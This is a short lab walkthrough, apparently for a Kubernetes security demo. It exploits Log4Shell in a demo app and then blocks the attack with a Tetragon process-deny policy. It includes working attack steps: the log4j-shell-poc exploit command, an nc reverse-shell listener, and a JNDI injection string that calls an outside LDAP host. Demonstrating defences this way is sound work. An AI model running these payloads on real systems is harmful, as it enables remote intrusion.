Let's get the attacker machine ready (find more details here):
cd log4j-shell-poc
sudo python3 poc.py --userip demo01-vm.westeurope.cloudapp.azure.com --webport 80 --lport 443 &
sudo nc -lvnp 443
Now inject the jndi string into the demo app:
${jndi:ldap://demo01-vm.westeurope.cloudapp.azure.com:1389/a}
You should now have an open reverse shell into the pod.
Next, implement a policy to deny such processes:
kubectl apply -f ../src/process-deny.yaml
kubectl logs -n kube-system -l app.kubernetes.io/name=tetragon -c export-stdout | tetra getevents -o compact
You now shouldn't be able to access the pod anymore.